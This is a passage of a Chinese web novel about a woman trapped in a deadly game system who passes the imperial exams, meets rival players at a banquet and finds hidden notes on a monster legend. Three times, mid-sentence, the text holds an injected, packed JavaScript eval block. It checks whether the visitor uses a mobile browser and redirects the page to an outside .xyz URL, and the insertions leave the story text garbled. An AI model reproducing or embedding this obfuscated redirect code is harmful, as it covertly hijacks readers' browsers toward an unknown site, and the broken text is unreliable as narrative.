跟前，看见一旁的土丘面露惶恐，犹豫地看看林筱，扶着林大伯强撑起一个笑容：“天色不早了，筱筱也该休息了。” “大伯喝醉了，麻烦伯母多照顾一二。”林筱也干脆地离开。 看来，就算她不去司天监也能发现这个世界的问题。 上个世界是二维世界，那么这个世界就是和妖有关。 传说中的妖多是动物作祟，所以这个世界的人都喜欢养动物。不管是她在城镇看到的那些家畜，或者是迎客楼里的白狼，甚至林家的土丘，都代表这它们的力量已经逐渐渗透进这个世界的每一个阶层人民身边。 这也就是他们时间紧迫的原因，因为比起被局限在古建筑附近的二维世界，这些“妖”已经快要占领这个世界。 “系统，”四下无人，林筱出声询问，“我需要祭拜那些动物的坟吗？” [规则一：请对任意家仙之墓保持尊敬。 由于玩家是第一个发现本规则的人，可以选择公开或私藏本规则。] “私藏之后其他人就算发现问题也不会发现这条规则？”这第一次出现的备注显然更吸引林筱的注意。 [规则始终存在，但玩家私藏规则后，其他玩家触发本规则将不会有系统提示。] 这就代表着，即使你犯了错，你也不会知道自己哪里错了。 “这个世界存在几条规则？” [更多内容需要玩家自行探索，系统并不参与提示。]系统机械的声音在林筱最后一个音节结束后无缝衔接，就像是已经经历过无数次的磨练般流畅。 或许就是经历过很多磨练。 之前那些被系统卷入游戏的普通人肯定也会那么询问，但他们得到的答案都会是一致的，系统不会偏爱任何人。 “私藏规则。”没有思考多久，林筱就做下了决定。 她不是大公无私的人，尤其在还不清楚她的同伴都是什么人的时候。如果他们遇见并且投缘，林筱也不是不能提醒他们，但信不信就要看他们自己了。 [玩家私藏规则成功。 玩家成功私藏一则规则，奖励游戏积分300。 特惠商城开启： 避妖符：妖族自动忽视符主所在，时效为开启后一天。原价50积分，现在只需40积分。 隐身符：符主可光学隐藏身形，但能被接触或嗅到，被攻击后自动显现身形。原价20积分，现在只需16积分。 系统通关秘籍：来自系统的护身符，只需300积分就送成功通关一次，在必要时刻还可减少游戏次数的损耗，居家必备良品，游戏人生中必不可缺的珍惜品。] 虽然猜到系统压根不想让人攒下积分，但那这些对症下药的商品就算是林筱看着都忍不住心动。 尤其是第三条。 [该商品限时出现，请玩家把握机会。]系统感知到林筱的心动，适时添了把火。 “购买系统通关秘籍。”她最终还是没忍住。 300积分在她名下仿佛就是为了让她看一眼，两者还没熟悉它就已经消失不见。成功回收积分的系统也没有停留在这里，正如突然的出现般离去。 私藏规则。 林筱在心中想，系统这是完全见不得他们玩家有一丝好，除了来自外界的生死压力，它还想要他们自相残杀。 也不知道那些知情的玩家中还有多少人能抵住积分的诱惑不故意伤人，就看看等到殿试之后的琼林宴能不能发现她的同伴了。 希望那不会是个鸿门宴。 22. 第一个世界4 放榜的第三天就是殿试。 自从林筱答应进入司天监后，林家夫妇的态度就愈加殷勤。这一大早，林筱自己还没什么，他们俩人就已经张罗起来。 白布裁成的襕衫看不见一丝褶皱，圆领大袖，正是进士们的统一着装，不论男女。这件衣服穿在林筱身上，反倒显得她更加弱不禁风，仿佛风一吹就会倒下一般。 可惜外人是这么想的，林筱自己却毫无察觉。她草草套上衣服，囫囵地吞下几口饼，还没等林夫人递上水来，她就已经快步往宫内的方向走去。 她住在西部，又算不上中心，赶到皇宫也需要不少脚程。这要再慢一些，她可不想众目睽睽之下当那个最后到的人。 等到了候场的位置，那里果然已经站满了新进的贡士们。天色还没亮，一群穿着白衣服的人们走来走去，乍一眼看去还真像深夜里的鬼故事。 林筱顺利混入其中。 和林筱这种在京城有亲戚可以投奔的人不同，大部分学子还是选择在各省的会馆居住。他们启程的时间远比林筱早，到达的自然也早些，平日除了复习功课也会和同乡探讨，难免结交了一些新朋友，所以此刻也能找到同伴聊天缓解压力。 林筱和他们没有交情，平日也不喜欢到各家茶馆展现才学，所以在场的都不熟悉她，也不会在此时可以结交，就显得冷冷清清。 这个时候的京城还有些冷，林筱将手揣在怀里，熟练地放空自己。 “请问是林家小姐吗？”就当林筱以为自己可以默默地走完这一流程时，身边却响起一道怯懦的女声。 林筱转过头去。 这个女子她认识，和她一个考房的考生。和她这种只是看上去柔弱的不同，这位姑娘是真的娇弱。干硬的干粮能吃到咔血，晚上睡一会觉就得了风寒，能坚持到考试结束都已经是个奇迹，没想到居然还中了榜。 看到了熟悉的脸，她露出一个怯生生的笑容，一双圆润的眼眸含着雾：“多谢林小姐之前的帮忙。” 说是帮忙，其实也算不上。只不过林筱当时就在她隔壁，她高烧昏迷，是林筱找来了考官给她安排妥当。 “举手之劳。”林筱没认这个功劳，也是真心认为没必要，但看着她这样子，没忍住，“你真的可以坚持下来？” 殿试不比会试，殿试要是出了差错，那可算殿前失仪，就算不被惩罚，这贡生的名头也保不住。 “如今我已痊愈，自然能坚持下来，但还是多谢林小姐关心。”她咳了声，弱弱道，“林小姐帮了我这一回，他日若需帮助，可来东市的陈府寻我。” 陈是大姓，十个人里头都能揪出一个姓陈，所以就算是住满官员的东市也不缺少陈这个姓。但没有说明具体的住址，就证明她只能是出自那个大将军陈家。 东市所有陈家里地位最高，占地面积最大的一位。 林筱再次看了她一眼，没有遇到贵人的喜悦，只是淡淡地应了一声。 她不会在这里长期生存，自然把有限的精力放在结交更重要的人身上。陈家姑娘的身份是不错，可惜大将军这个身份对她没有帮助，所以这个程度就足够了。 时候也到了，负责引领他们入宫的官员招呼一声，学子们有序排成长队，跟着他来到了崇政殿前。 崇政殿就是他们家殿试的场所。 林筱的位置在队伍的中前方，前后都是一片白茫茫。她跟着前人找到位置坐下，等待皇帝说开始。 殿试的题目并不难，比起考试，更像是把这些新晋员工拎到大领导眼前晃一圈，让大家都熟悉熟悉。 林筱答题老实本分，估摸着难度混个二甲中游的水准，但也有想要吸引大领导注意的人在作答时另辟蹊径，最后是一举成名还是化作笑料就看他们自己的业务水平了。 三百人的试卷，除了一甲三人，考官们加班加点，终于在第二日就出了成绩。林筱果然位于二甲中游，是个不显眼但又可以留做京官的好位置。 当晚就是琼林宴，之后便是三日的跨马巡街。 琼林宴皇帝本人并不会出席，但负责宴会的却是皇帝身边的仪鸾司，代表的也是皇帝对新科进士的重视。 林筱与陈家姑娘挨着坐。 这个朝代允许女子做官，但毕竟男女有别，所以席位之间还是做了区别。女子的席位与男子隔了一段距离，身边也都是同性。男子席间是一壶酒，女子席间是更易入口的果酒，但菜色还是一致。 随着主持者落座，一盘盘珍馐美馔陆续上桌，教坊司的宫女在琼林苑中演奏雅乐，不见丝毫靡靡之态。 女子做官毕竟是少数，算上林筱和陈家姑娘总计也就十人，看上去难免显得弱势。但都是能在几千人中得中进士的人，她们也都不是好惹的。 偶尔有几个轻佻的言语挑衅，也都被她们不动声色地嘲讽回去。 酒过五巡，宴会到了中场休息的时候。各位考官与礼部负责主持的官员离场休整，现在就只剩下伺候的人和这些新科进士们。 如果在场的人当中还有玩家，现在就是最好的试探机会。 林筱放下手中的筷子，因为那些无趣的吹擂而萎靡的精神总算提了起来，看向宴会的中心。 果然，有人站起身来，环视四周，满脸醉意：“花好月圆，满座孝廉，何不如让我们状元来吟诗一首。” 人群的目光随之来到宴会最前方的位置。 宴会的上首自然是皇帝任命的礼部官员和本次科举的考官们，而考生中位置最靠近上首的则是一个面相看着忠厚的青年男子。 他直起身，脸上不知道是因为醉意还是羞涩染上红意，看着身边的同学窘迫地抬了抬手：“各位就放过某吧。” 还没等大家同意，他就先掩面坐下，不敢再看他人。 这位今科状元竟然是个腼腆的个性，也难为他能在殿上与皇帝对答如流，还不带磕绊。 “既然状元不成，那榜眼来给我们露一手？”底下的人不仅没有失了兴致，反而更加热闹地起哄道。 林筱扭头看向身旁。 虽然不可思议，但榜眼就是她身边的陈家姑娘。 陈家姑娘听见别人叫她，顿时一脸惶恐地缩在林筱身后，半点没有出头的意思。 接连两个人都是这样的反应，场内虽然没有“嘘”声，但看得出众人对这一甲着实没有了敬重之心，只觉得不过是运气而已。 就在这时，那位面如冠玉、风流倜傥的探花郎站起身来，举着酒杯看向众人：“大家今后都是为圣上做事的人，做诗算不上本事，还应以实干为主。今日考官在场，你我皆为同学，不如请考官为我们出上一题？” 他说话的时候，考官们也都返回了场内。文人相轻，场内众人针对一甲本就是常见的事，但拉着他们下场可是罕见。 主考官看向这位探花，只见他面色坦然，微微欠身，一派风流之态。 上座的考官们也都起了兴致，几个人相视一笑，推出了主考官当这个发言人：“那不如就以神启教为例？” 神启教？听着就像是糊弄百姓的骗子团体。 看到林筱脸上出现疑惑，陈姑娘没有回到自己的座位，在一旁轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073077|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声细语：“神启教是这几年活跃在江南一带的邪、教，一直宣扬妖神将降临人世，摧毁人间，要求当今圣上下诏罪己，以此开启新世。” 这么一听，他们似乎也没有坏心思，不过是幻想一个太平盛世。但罪己书一旦下达，皇帝的面子也就没了。 说白了，这个组织的目的还是为了拿下皇帝，并不是真心为百姓谋事，就是不知道是出于哪方势力。 面对这个试图动摇国家根基的组织，再怎么加大力度剿灭对于皇帝而言都不为过。 论到正事，状元顿时丢下羞涩，站起来面对考官们从利害两角度多方面探讨应对措施。余下的人面露恍然之色，上面的考官也满意地点了点头。 这一回，状元算是挽回了他的脸面。 等到状元坐下，大家自然而然地将目光转移到陈家小姐身上。 陈家小姐依旧躲在林筱身后，声音虽小却也铿锵有力，笑容腼腆而羞涩：“杀了。” “啊？”林筱听到一旁的人惊呼。 陈家小姐害羞又肯定地说道：“杀了。” 周围的人面露异色，上位的考官却是认出了她是谁，顿时表情怪异，干咳了一声：“下一个，探花郎来给我们讲讲。” 探花郎也是迟钝了一会，瞥了眼恬静安然的陈家小姐，这才就这个话题讲了起来。 和状元郎的阳谋不同，探花郎喜欢兵行险招，为了更大的利益可以放弃更多无辜民众的性命。 可以说是为了前途不择手段。 探花郎本来就是靠着殿试吸引了皇帝的注意才夺得名次，这番言论说不上错，但也的确不讨考官喜欢，所以只是淡淡地应和一声就让他坐下了。 三百人，不可能每一个人都有机会发表自己的意见。但为了能在考官面前表现自己，一些原本成绩就不佳的人更是踊跃参与。 探花虽然不被考官所喜，但他坐回原处后依旧满脸不以为意，微挑的眉梢带着几分意义不明的性质，环视整个琼林宴。 林筱举起杯子，遥遥冲他敬了一杯。 陈家小姐本就是他的重点关注对象，如今看见林筱的举动，他面色有些意外，但还是举起酒杯回敬。 陈家小姐就坐在林筱附近不肯动弹，看到这一幕轻声提醒了一句：“探花郎不像好人。” 林筱饮尽杯中的果酒，对着探花笑了一下，这才回复陈家小姐：“我知道。” 探花是不是好人不重要，只要他们彼此知道对方是玩家就行。 探花之前提出的那些想法明着看是为了铲除神启教，实际上都是为了对付传说中的“妖”，甚至为此不计后果。 最重要的是，他的计划以两月为期限。 系统给他们的时间是三个月，可光一个科举就差不多耗费了他们一个月的时间，剩下的时间可不就是两个月。 而且除了他们这些玩家，也没有其他本世界人物会采取那么不择手段的方式去对付这个神启教，毕竟他们玩家不需要对这个世界、对这个国家负责。 不管怎么说，她总算看见了第一个其他玩家。 中场休息结束，酒过四巡，琼林宴也告一段落。众人纷纷离场，林筱果然在宫门外看见了等候已久的探花郎。 他斜倚在墙角，嘴角噙着一抹古怪的笑意，看着林筱点了点头：“明晚迎客楼，报我的名字，我们同乡也该聚一聚了。” 探花与她祖籍并不在一处，如果她是个本世界人士，这会就该疑惑了。但她目的就是想要寻找其他玩家，自然不会故意隐藏。 “好。”林筱应下了。 23. 第一个世界5 从科举的工作效率就可以看出，在当朝做官就要做好556的自觉。 所以当林筱正式工作的第一天，她毫无意外地被安排整理司天监那些冗杂的资料，呛了满满一口灰尘。 新人入职第一天，总是打杂为主。 顺着其他主事指引的方向，林筱拐了几个弯，看到了那栋被藏在后面的三层高古朴小楼。 小楼旁有一个爬满青苔的水井，和门前摆放的储水大缸遥相呼应，是典型的预防走水的措施。小楼的墙面漆印斑驳，墙角更是一片又一片的霉斑，比起正经藏书楼反倒像是被闲置已久的废弃建筑。 依稀可见曾经的辉煌。 唯一证明它还在使用的就只有守在大门的两个侍卫。 那是两个没精打采的中年人，沉重的眼袋透支着他们的精力。听着人来，他们的眼皮有气无力地抬起，只是简单地扫视林筱一眼就将进入小楼的通道让出。 幽暗的通道就像怒张的深渊巨口，仿佛一不小心就会将人吞噬殆尽。 这对于刚经历过上一个世界的林筱而言，威吓效果翻倍。但她忽视周身陡然袭来的凉意，对着守在楼门外的两个侍卫颌首示意，跨进了司天监的藏书阁内。 到了室内，那股凉意却突然消散，只剩下属于书籍的陈腐气息。光是这个味道，林筱就有理由怀疑这里已经有将近十年没人进来过了。 她点燃一旁的灯具，摇曳的烛光照亮一小方天地，只留下林筱拉长的身影斜倚在书架上。 一楼摆放的都是司天监常用的书籍，上面的灰尘最少，纸张也变得毛糙，大多是与历法算术相关。 林筱草草地看了一遍书脊上的名字，都是一些常见的书籍。对于一个新入职的员工而言正好，但对于林筱这种别有用心的人来说翻看这些书籍就是浪费时间。 只剩下两个月的时间，她需要调查清楚这个世界究竟发生了什么。哪怕无法触发隐藏任务，也要保证自己活到任务结束，避开可能出现的危险。 所以她从一开始就没打算当个兢兢业业的小主事。 她踏上吱嘎作响的楼梯，来到了二楼。 这里存放的更多是佶屈聱牙的典籍了。 相比一楼那时不时还有人翻看的书籍，摆放在二楼书架上的书本都已经覆上一层厚厚的灰色尘埃，手指抚摸的痕迹清晰可见，一眼就能辨明哪些被人翻看过，哪些没有。 如果要在司天监内寻找到与她任务相关的资料，二楼就是最有可能的地方。 她根据书架上的索引，找到了和妖邪有关的书架。 大概是因为当朝得来和妖邪脱不了干系，所以这些书籍都被人为地损坏过。有几本甚至只剩下二三残页，空荡荡地摆放在书架上。 看似满满当当的书架，真要论起来，书页连三分之一都不足。 林筱耐心地一本本查看。 这些书被放在书架上时就已经被删减，那些不利于当朝的言论根本就没有重现人世的机会，所以就算没有收获也在林筱的预料之中。 就当林筱打算草草翻过这本误入的笔记时，她翻页的手突然顿住，目光直直地看向那几个模糊的字迹。 这并不是一本真正意义上的志怪传记，甚至林筱关注的也不是这本书上本身就存在的字，而是后人给它的批注。 妖的故事，已经在这个世界存在近千年，但一直以来都被人们视为荒诞故事的角色，直到前朝末年。 天灾，人祸。 一场史无前例的大旱来袭，土地干结成块，即使行走在烈阳下也不见汗迹。庄稼枯萎，饿殍满地，偏偏那些官员私下瓜分赈灾的官粮，还与富商勾结高价卖出。 谷比金贵。 为了生存，那些即将活不下去的人不得不将自己的子女卖出，或是易子而食，来求得那一线生机。 一时之间，十室九空。 然而大旱之后，必有大涝。 好不容易活下去的人终于等来了久违的雨水。可这过于猛烈的雨势却让附近的水位迅速上涨，偷工减料的大堤根本无法阻拦迅猛的潮流，顷刻间被摧毁。 大水再次淹没了他们的家与土地。这一次，那些官员和富商也不能幸免。 眼看着水势越来越大，他们强横地征收百姓充当劳夫修补河堤，为他们营造安全的领地。没日没夜的工作，不仅没有工钱、饿着肚子，还时不时吃一顿鞭打。 终于，他们爆发了。 他们起义了。 起初，没有人在意这场起义。不过是一群没钱没权的平头百姓，甚至不需要他们动用军队就能被当地的衙门压下去。 所以京城之内依旧过着纸醉金迷的生活，全然不顾那些生活在炼狱的百姓。 但很快，京城迎来了地动。一致的时间，一致的地点，一切都在起义军预言之内。 当初那个不被人重视的起义军在此时已经形成了一股不容小觑的势力。虽然暂时无法撼动王朝，却也让朝廷随着他们的前进心惊胆战。 他们此刻没有向着京城进攻，只是因为要安抚灾后的人民、阻止疫情的传播，不代表他们没有称王的野心。 他们没有放过京城。 他们命人传播消息，说皇帝已经被妖物取代，所以上天震怒，降下灾祸提醒世人。他们的将军就是受到上天的启示来拯救苍生，如果众人还不知悔改，那么一月后京城将地动。 装神弄鬼一向是这个时代的特色，但这次不一样。京城的百姓不止一人听见从内城传来的奇怪呼啸，似狼非狼，似虎非虎。明明是冬日，天上却电闪雷鸣，像极了天公不满。 这份对妖邪的恐惧在京城地动的那一刻达到巅峰。 京城乱了。 起义军的实力越来越强。他们收拢遇灾的难民和投靠的豪强，所过城池畅通无阻，很快就抵达了京城之下。 没有激战，守城的士兵亲自开门迎接他们进入，百姓夹道欢迎。那些想要逃亡的贪官都被自己的手下擒拿到起义军前祭旗，决定以身殉国的忠臣和前朝末代皇帝自焚于宫中。 改朝换代，也不过几日。 当朝开国皇帝宣布妖邪服诛，并在全国范围内砸毁供奉野神的祠庙，严禁妖邪之说。 说来也是奇怪，自那以后，京城再也听不见奇异声响，就连山林噬人的野兽也收敛了性子老实地窝在山内。 这些是这本书上记载的故事，但一旁小字却备注着更为幕后的消息。 “地动仪吐珠，师父夜观星象，判定一月内京城必地动。与将军密谈，借鬼神之说壮势。” “将军命师父拉拢更多同仁，竭尽所能展现异象，以示将军天命所归。” 中间几页残缺，正是前朝出现异象之后的一段时间。林筱看到下一页时，写下笔记的人已经遇见了奇异之事，笔迹潦草而惶恐，写出的话语也让人捉摸不透。 “师父，我看见了妖怪。” “这个世界真的有妖怪吗？” 再是几页残页，就到了当朝皇帝宣布建国的时候了。 “将军”被浓深的墨线划掉，更改为“陛下”。 “陛下命所有奇人异士与术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然不知道声音的主人是谁，但想来就是守在楼外的侍卫之一。林筱立刻将纸张折叠藏在腰带之内，将那本书重新摆回书架，这才不紧不慢地回了声：“这就来。” 她走出书架，看见了外面的情况。 果然，楼下的侍卫之一面无表情地等候在楼梯上，听到动静后才抬头看向林筱，漆黑的眼内没有丝毫情绪。 林筱压下心中诡异的感觉：“走吧。” 等林筱回到司天监院内时，屋外无人，屋内却已经一反之前冷清的场面变得热热闹闹。 是谁来吗？ 林筱敲了敲门，候在门外：“少监找我何事？” 屋内的何少监面带笑容拉着她进屋，向一旁的身影介绍道：“你来的正好。世子殿下，这位就是今科进士林筱，您有什么需要尽管和她说就是。” 少监又向她介绍那人：“这位是晋王世子。今日来司天监也是想找个新人陪他相看宠物。” 就在林筱在他身边站稳时，他低声警告：“要不是世子只要新人，这活也轮不到你。好好干活，别丢了我们司天监的面子。” 林筱脸色不变，来到晋王世子面前：“林筱见过世子殿下。” 她身体微曲，却被身前的人扶住胳膊，一道带着病气的声音含笑道：“既是熟人，林主事不必见外。” 林筱没坚持，直起身：“世子殿下，又见面了。” 这位晋王世子就是迎客楼要买白狼的那位公子，地位比她想象的还要高上几分。 “既然都认识，我就不需要多说什么了。”晋王世子犹带病色，露出的笑容也像是梨花带雨般楚楚可人，“就是那只白狼。” “不知道林主事明日可否与我走一趟。” 24. 第一个世界6 林筱下班的时候也是西市最热闹的时候。 街边是各色点心与热气腾腾的汤饼，绢花制成的首饰整齐地摆放在板子上任过路的行人挑选，饭菜的香味更是自街边的食铺飘出，吸引得路人停步不前。 但最为显眼的，还是位于最好地段的迎客楼。还没走到它跟前，林筱就已经感受到了迎客楼的受欢迎程度。 之前来这时有小厮预定，再加上时间稍微错开，所以她也就没看到那么热闹的景象：小小的楼门前是密密麻麻的人头，等待的食客几乎将整个迎客楼包围住，只留下一小条供食客出去的小道。顺着门缝望去，小二端着垒得高高的食盘四处游走，脚步挪动得几乎可见残影。 当林筱走近时，门口负责招揽的人已经熟练而麻木地开口：“楼内已经没有位置，前面等候的人还有四十六位。如果客人有时间可以来这边取号，等到了您的号就会叫您。” “我的同伴已经定了桌。”林筱等着他说完才开口，却又迟疑地顿住。 探花郎，叫什么名字？ 小二还在等着她报预定人的名字，却半晌不见她动作，只当她也是个想进来蹭桌的人。可看着也像是衣冠楚楚的大户人家出身，他想要不耐烦却又怕真的得罪贵人，只能小声催促：“客人？” 林筱无奈地转身：“我等会来。” 让她先去路上抓一个人问问探花郎的名字先。 “林主事。”就在林筱准备转身离开时，楼梯上走下一个人，气宇轩昂的青年男子长身而立，仿佛一块发光的宝玉瞬间照亮整个大堂，“大家都在等你一个人了。” 来的人正是探花郎。 守在门口的人看了眼林筱，像是不明白这些贵人在折腾些什么，无奈地开口：“您直说探花郎就行，我们又不会拦着您不让您进去。” 林筱沉默地走了进去。总不能说，她其实根本不记得探花的名字。万一小二想与她核对一下，这答不上来不就更加尴尬了。 等待林筱的探花郎接到人，一边走着一边也含笑挑眉：“不记得我名字？” 林筱直面他调侃的眼神，镇定地点头：“嗯。” 探花郎语塞，沉默一会后倏然展颜大笑：“我就喜欢你们这些坦率的人。走，今晚可是有惊喜等待你。” 他的眉梢微扬，笑容戏谑却不含恶意，看着便是一等风流的人物。 探花定下的包厢位于迎客楼最深处，也是最私密的地方，一般情况无人会来打扰。他们讨论的话题对于这个世界的人而言匪夷所思，自然是越不吸引别人的注意越好。但当林筱推开门后，坐在里面的人数还是超出她的预料。 大圆桌旁竟依次坐了十余人。 主位是空着的，应该是为了探花郎留着。主位的右手边则是一个林筱认识的人：她的顶头上司，司天监的其中一名少监。 剩下的人当中有她同期的考生和进士，也有寻常百姓，走卒商贩，甚至还有一名双眼不能视物的老年人。 林筱自进入游戏以来，虽然所处的世界在变化，但身体和姓名却一直保持一致，所以在看到那位残疾老者时，她第一次对系统的选人标准产生了怀疑。 这是怕玩家死得不够快？ 老者虽然看不见人，但感官却异常敏锐，一下子就察觉到林筱的注意，毫不在意地解释自己的情况，语气也看不出对生的渴求：“这是系统对我的惩罚，我如今25岁，曾经非常健康。” 但这段话中透露的信息反而让他们更加害怕。 在场的都是玩家，谁都有可能被系统暗算。如果真的被老化又剥夺一部分身体机能，这就是明明白白地送他们去死。 就算系统给了他们三条命，但在这种折磨下，就算是十条命都不够用。 察觉到越发紧张的气氛，他慢吞吞地补充了一句：“我已经不打算活了，如果你们有什么试探的任务可以交给我，就当是我临死前行善积德。” 但对于他为什么会受到惩罚，他一个字也未提及，甚至带着他早就看透而你们却还是蠢货的古怪超脱感。 这就是一个自以为戳中系统软肋的蠢货。林筱收回她的目光，没再继续关注。 他或许是比她快了几步，但也只是系统手下的失败者。如果能吸取失败的经验也不错，但没有也不值得遗憾。 一旁的探花郎看着大家的注意力短短时间内就被那个老者抢走，也没在意，反而饶有趣味地坐在主位看着神色各异的众人。 终于，一个屠夫打扮的人站了起来，瓮声道：“别浪费时间了。我们这些人聚在一起，大家都知道是因为什么。” 林筱倚在椅背上，点头：游戏，系统，任务。 或者是那个最根本的原因：活着。 “游戏。”一旁的人已经说出了口，引来众人纷纷点头。 “谁都不想死，”屠夫咬牙继续说道，“能出现在这里的玩家至少也是通过了新手关的老人，哪怕我们还有条命可以消耗，但死亡的痛苦依旧是我们自己承担。” 说这话时，他的肌肉不受控制的抽动，本就遍布横肉的脸颊更是呈现出不合时宜的恐惧，仿佛陷入被他深深畏惧的回忆当中。 “没错，”另一个参加这次会试的考生也站了起来，“大家都不是刚进入游戏的新人，也都知道这里的死亡那就是真的死亡。我们出现在这里，不就是为了一起讨论怎么完成任务，选择一个领路人带我们避开死亡陷阱。” 他的目光指向少监，暗示着什么。 少监坐在原处，垂眸，没有和他对视，老神在在地喝着手中的茶水。 林筱更不会出头。只是从游戏的资历来看，她似乎是这里身份最低的人，所以观察才是她最应该做的。 不过，她也确定系统对她抱着很大的恶意。从这些人的话中可以听出，他们可不是只通过了新手关的人，但系统却把她这一个一无积分二无经验的人扔进这个世界。 “大家别急啊，”眼看着主权就要被他人夺去探花郎这才含笑站起来，“别在完成任务前我们自己人先伤了和气。” “探花郎既然站出来，我就先听着。”屠夫闷了一杯酒，沉声道，一边瞪着一双眼看向考生。 有意思。 探花郎、屠夫和另一个进士是一伙，少监、考生和绣娘打扮的人是一伙，其余就是他们这种因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073079|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为各种原因被探花郎或者少监邀请过来的散人。 十几个人，也能分出几个派系。 “我们的任务就是再存活两个月，”探花郎依旧笑着，仿佛那笑容就焊在他的脸上，“但大家也知道，越接近最后那几日，我们受到的攻击也会越加频繁。如果没有找到规律，就算活下来也需要花费大量的积分让系统修复假体。” 其余人都点了点头，林筱也跟着点头，虽然他们口中的经历和她完全不一样。 探花郎的笑容加深：“所以我们就更该集思广益，集众人的力量发掘更多的规则，保护我们活到最后。这也是我找来各位的原因。” 话语权一下子就回到探花郎手中，但这时的少监也不甘示弱。 “既然大家一起行动，总该有个引领者。”少监抓住时机站了起来，“鄙人不才，也就有几个积分能兑换司天监少监的身份，你们可以直接叫我少监。我是一个通关十次游戏的老玩家，还有两条命，别的不说，带你们完成这次游戏还是不在话下的。” 身份越高，积分越多，这一点是他们唯一可以确定的事情，所以少监不是拿隐藏任务积分的高手就是经验丰富的老手。 不管是哪一种，都可以证明他对游戏有更深的了解，也越有可能发掘出这个世界背后的险境。 林筱能看见她身边的几个人出现了意动的神色。 “空有积分没有大脑的人只会在那边夸耀自己的身份，但在古代，皇帝永远是那个关键人物。好的身份看得从来不是价值如何，而是玩家的选择。”探花郎在一旁笑了一声，语气中带着揶揄与鄙夷，“只有科举才是吸引皇帝注意的最快方法。” 少监面色僵硬，握着酒杯的手攥紧，激得杯中美酒都荡起水花。 探花郎的话难听，但也算不上错。 于是本就犹豫的人更是左右摇摆，无法确定。少监经验老道，看上去不像坏人。探花郎能力卓越，可惜的是看上去不够可靠。 屠夫他们本就有派系的人更是明晃晃地站在他们选择的人身后，看向还没有选择的几个人，无声地催促着他们。 有几个人咬牙做出了选择，还有几个站在原地不动，林筱就是不动的人之一。 她现在可以说是全场最为难的人。林筱人是探花郎带来的，不选他就失了情义，可少监是她上司，得罪他未来可想而知。 人们陆陆续续做出了选择，只剩下林筱和那个眼盲老者。 老人双眼无神地扫了一圈在场的人，声音浑浊：“既然你们都想活着，就别打扰我一个死人。” 说完他就转身离开。 这下，大家都看着唯一没有选择的林筱。 探花郎依旧是那个看不出内心想法的笑容，少监却抬了抬下巴，明晃晃地暗示林筱。 她挪了一步，来到少监身后，获得他满意的笑容和屠夫等人不满的神情。 “虽然大家都有了自己的团队，但最终目的都是一致的。”探花郎看着少监及他身后的那些人，意味深长地一笑，“所以我也不介意告诉你们一些被确认的信息。” “这个世界的任务，和那些坟墓有关。” 25. 第一个世界7 第二天一大早，林筱刚签完到，世子的马车就已经等候在司天监门外。 考虑到林筱还只是一个新入职的主事，世子准备的马车并不华丽，但也比林筱进京的那辆好上许多，至少遮风避雨不在话下。 京城的道路平坦，马车驶过也只有轻微震感。沿着大道来到外城西边，左右拐弯间就停在一间不小的宅院前。 看着宅院前装饰简单朴素，守门的也是一个年近花甲的老翁，林筱想，这或许是晋王世子偷藏相好的地方？ 不等她继续猜测下去，晋王世子就已经来到门口迎接。 他今日穿着一身月白色常服，一头如墨般长发被造型简单的发冠簪住，病弱中带了几分风流。 “世子殿下。”毕竟身份矮对方一截，林筱识趣地先行礼道。 “林主事到了啊，”晋王世子看到她倒是笑了一下，“快进来吧，那只白狼就在里面，让我头疼。” 宅院不小，但装修得简单，占地面积最大的居然还是中间的这个花园。此刻正是百花盛放的时节，清雅的花香飘入鼻中，雅而不俗。 就算只是别院，这里也是被世子请人精心打理过的。 又走了几步，较之前体型略长的白狼正与一个中年男子嬉戏。 白狼的毛发和迎客楼相见时比较也愈加旺盛，在烈日之下光彩熠熠。它随着中年男子的指令行走坐卧，两眼炯炯有神，再也看不出当初的凶性。 察觉到有人进屋，白狼竖起耳朵歪头看了过来。一见到人，它顿时吐着舌头咧着嘴角就要向世子这边跑了过来。 只可惜白狼这片热情终究白费。它的身体被驯兽师死死拽住，地面被它的爪子刨出四道长痕，整只狼都趴在地上止不住委屈地呜咽。 “白狼性子活泼，不用特意压制它的本性。”世子咳了一声，淡淡地瞥过那个驯兽师，没有呵斥却也让他顿时像个鹌鹑般呆立原地，“要想养只狗，我又何必去找它。” 驯兽师松开了绳索，等待时机已久的白狼一个蓄力，蹦到了林筱腿边轻蹭，不时还发出稚嫩的呼叫。 林筱也不知道之前还凶狠的白狼如今怎么那么温顺，只能顺着它的动作抚摸它的头，一边抬眸望向它真正的主人。 白狼嗷呜一声，主动用头蹭了蹭她的手，满足地尾巴都快摇出残影。 世子在一旁看着他们在一旁互动，眉眼中尽是温柔笑意：“这是我准备送给父王生辰的礼物。” 他将手伸出，白狼犹豫地看了眼这边，最终还是慢吞吞地过去，敷衍地蹭了蹭世子，又欢快地来到林筱身边。 被白狼怠慢的世子也不在意，将手收回袖子中，轻声道：“如今这京城吹起养宠的风潮，我们晋王府却一直没有参与，母妃都已经抱怨过好几回。我这一次送礼，也算是一石二鸟，既是庆贺父王生辰，也是帮他安抚母妃。” 